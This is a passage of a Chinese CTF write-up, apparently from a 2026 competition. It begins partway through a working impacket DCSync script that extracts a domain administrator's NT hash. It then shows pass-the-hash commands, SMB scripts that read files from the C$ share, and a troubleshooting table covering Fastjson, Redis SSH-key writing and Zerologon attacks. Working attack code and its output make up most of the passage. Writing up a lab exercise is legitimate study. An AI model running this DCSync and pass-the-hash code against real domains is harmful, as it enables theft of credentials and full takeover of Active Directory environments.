drsuapi.DRS_EXT_NONDOMAIN_NCS     drs['SiteObjGuid'] = drsuapi.NULLGUID; drs['Pid'] = 0     drs['dwReplEpoch'] = 0; drs['dwFlagsExt'] = 0     drs['ConfigObjGUID'] = drsuapi.NULLGUID; drs['dwExtCaps'] = 0xffffffff     request['pextClient']['cb'] = len(drs)     request['pextClient']['rgb'] = list(drs.getData())     resp = dce.request(request)     hDrs = resp['phDrs']      # 4) 拿 DC 的 dsa GUID     resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, domain, 2)     dsa_guid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']      # 5) 把 "idsscos\\Administrator" 解析成对象 GUID     cracked = drsuapi.hDRSCrackNames(         dce, hDrs, 0,         drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME,   # 注意是 NT4 账户名,带域名         drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,         (user,))     rItems = cracked['pmsgOut']['V1']['pResult']['rItems']     if cracked['pmsgOut']['V1']['pResult']['cItems'] != 1 or rItems[0]['status'] != 0:         print('DRSCrackNames failed: cItems=%d status=%d' % (             cracked['pmsgOut']['V1']['pResult']['cItems'], rItems[0]['status']))         sys.exit(1)     guid = rItems[0]['pName'][:-1]     print('[*] %s GUID = %s' % (user, guid))      # 6) DRSGetNCChanges,pPartialAttrSet=NULL(拿完整属性集,否则 unicodePwd 是空)     req = drsuapi.DRSGetNCChanges()     req['hDrs'] = hDrs; req['dwInVersion'] = 8; req['pmsgIn']['tag'] = 8     req['pmsgIn']['V8']['uuidDsaObjDest'] = dsa_guid     req['pmsgIn']['V8']['uuidInvocIdSrc'] = dsa_guid     dsName = drsuapi.DSNAME()     dsName['SidLen'] = 0     dsName['Guid'] = string_to_bin(guid.replace('{', '').replace('}', ''))  # 正确字节序     dsName['Sid'] = ''; dsName['NameLen'] = 0     dsName['StringName'] = '\x00'; dsName['structLen'] = len(dsName.getData())     req['pmsgIn']['V8']['pNC'] = dsName     req['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0     req['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0     req['pmsgIn']['V8']['pUpToDateVecDest'] = NULL     req['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP     req['pmsgIn']['V8']['cMaxObjects'] = 1; req['pmsgIn']['V8']['cMaxBytes'] = 0     req['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ     req['pmsgIn']['V8']['pPartialAttrSet'] = NULL          # 关键:完整属性集     req['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = 0     req['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = []     req['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL     rec = dce.request(req)      rv = 'V%d' % rec['pdwOutVersion']     o = rec['pmsgOut'][rv]['pObjects']['Entinf']     rid = unpack('<L', o['pName']['Sid'][-4:])[0]     prefixTable = rec['pmsgOut'][rv]['PrefixTableSrc']['pPrefixEntry']      NTHash = None; LMHash = None; userName = None; domainName = None     for attr in o['AttrBlock']['pAttr']:         att = attr['attrTyp']         try:             oid = drsuapi.OidFromAttid(prefixTable, att)         except Exception:             oid = None         vc = attr['AttrVal']['valCount']         if oid == '1.2.840.113556.1.4.90' and vc > 0:      # unicodePwd -> NT Hash             enc = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])             NTHash = drsuapi.removeDESLayer(drsuapi.DecryptAttributeValue(dce, enc), rid)         elif oid == '1.2.840.113556.1.4.55' and vc > 0:    # dBCSPwd -> LM Hash             enc = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])             LMHash = drsuapi.removeDESLayer(drsuapi.DecryptAttributeValue(dce, enc), rid)         elif oid == '1.2.840.113556.1.4.221' and vc > 0:   # sAMAccountName             userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')         elif oid == '1.2.840.113556.1.4.656' and vc > 0:   # userPrincipalName             domainName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]      if NTHash is None:         NTHash = ntlm.NTOWFv1('', '')     if LMHash is None:         LMHash = ntlm.LMOWFv1('', '')     if domainName is not None:         userName = '%s\\%s' % (domainName, userName)     print('=== RESULT ===')     print('%s:%s:%s:%s:::' % (userName, rid, hexlify(LMHash).decode(), hexlify(NTHash).decode()))  if __name__ == '__main__':     main()
proxychains4 python3 dcsync_tcp.py 10.177.10.133 149667 1445 idsscos.load 'idsscos\Administrator'

预期输出:

[*] idsscos\Administrator GUID = {........} === RESULT === idsscos.load\Administrator:500:aad3b435b51404eeaad3b435b51404ee:4b13e40e7844549f5baa062fb565af98:::

即 域管理员 NT Hash = 4b13e40e7844549f5baa062fb565af98

几个关键坑(都踩过)

  1. set_dport 必须在 transport 对象上,不是 DCE 对象;
  2. DS_NT4_ACCOUNT_NAME_SANS_DOMAIN 在某些 impacket 版本里不存在,用 DS_NT4_ACCOUNT_NAME 并且用户名要写成 idsscos\Administrator(带 NetBIOS 域名);
  3. GUID 要用 impacket.uuid.string_to_bin(自动处理字节序),不能 unhexlify
  4. pPartialAttrSet 必须为 NULL(完整属性集),否则 unicodePwd 拿不到,会得到空口令哈希 31d6cfe0d16ae931b73c59d7e0c089c0

Pass-the-Hash 读域控 flag4

用域管哈希做 PTH,直接读 DC2026 的 C$ 共享里的 flag(C:\Users\Administrator\Desktop\flag)。

确认 PTH 成功 + 列出共享

proxychains4 nxc smb 10.177.10.133 --port 1445 \   -u 'Administrator' -H '4b13e40e7844549f5baa062fb565af98' --shares

预期:

[+] idsscos.load\Administrator:4b13e40e7844549f5baa062fb565af98 (Pwn3d!) ... C$ / ADMIN$ / NETLOGON / SYSVOL   READ,WRITE

读 flag

教训nxc -x 'dir ... & type ...' 里的 & 会被 atexec 拆开导致 rpc_s_access_denied,拿不到 flag。直接用 SMB 客户端列目录、拉文件。

impacket-smbclient 的 -port 只接受 139/445,所以用一小段 python 直接连 1445:

列出目录 ls.py

#!/usr/bin/env python3 import sys from impacket.smbconnection import SMBConnection smb = SMBConnection('10.177.10.133', '10.177.10.133', sess_port=1445) smb.login('Administrator', '', 'idsscos', nthash='4b13e40e7844549f5baa062fb565af98') path = sys.argv[1] if len(sys.argv) > 1 else '*' for e in smb.listPath('C$', path):     n = e.get_longname()     if n in ('.', '..'):         continue     print('%s  %s  (%d bytes)' % ('DIR ' if e.is_directory() else 'FILE', n, e.get_filesize()))
proxychains4 python3 ls.py 'Users\Administrator\Desktop\*' # 会看到: FILE  flag  (38 bytes)

拉文件 get_flag.py

#!/usr/bin/env python3 from impacket.smbconnection import SMBConnection smb = SMBConnection('10.177.10.133', '10.177.10.133', sess_port=1445) smb.login('Administrator', '', 'idsscos', nthash='4b13e40e7844549f5baa062fb565af98') f = open('/tmp/dc_flag.txt', 'wb') smb.getFile('C$', 'Users\\Administrator\\Desktop\\flag', f.write) f.close() print('saved /tmp/dc_flag.txt')
proxychains4 python3 get_flag.py cat /tmp/dc_flag.txt # flag{MosYNUf6eX4iAvC30BIb12G8cud9Lmhq}

说明listPath(share, path) 的 path 是相对共享的,且要自己带 \* 通配符。如果直接传 Users\Administrator\Desktop(不带 *),它会当成 Desktop* 去列父目录,结果就错位了。

AI踩坑速查表

现象
原因
解法
Fastjson 不触发
类名/path 被 JVM 缓存,二次不执行 <clinit>
每次换唯一 TAG
Redis 写公钥后 SSH Permission denied
公钥没包 \n\n
SET x "\n\n<公钥>\n\n"
nxc -x 'a & b'
 报 rpc_s_access_denied
atexec 把 & 拆开
改用 impacket-smbclient 或 python SMB 读文件
zerologon_np.py
 报 no attribute set_dport
set_dport
 在 transport 上
先 rpc_transport.set_dport(port) 再 get_dce_rpc()
DCSync \pipe\lsass 报 rpc_s_access_denied
命名管道受限
改走 ncacn_ip_tcp 的 49667 动态端口
DCSync 端口 49667 报 abstract_syntax_not_supported
portproxy 撞到错误端点
重新 epmapper 枚举,用 149667→49667
DCSync 得到空 NT Hash 31d6cfe0...
用了 partial attr set
pPartialAttrSet=NULL
 完整属性集
DRSCrackNames
 返回 status=2
用户名没带域名
用 idsscos\Administrator
GUID 解析报 Non-hexadecimal digit
GUID 有花括号 / 字节序错
用 impacket.uuid.string_to_bin

转载声明:本文转载自原发布平台 (作者:流云技术札), 原文标题《磐石行动2026复赛》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。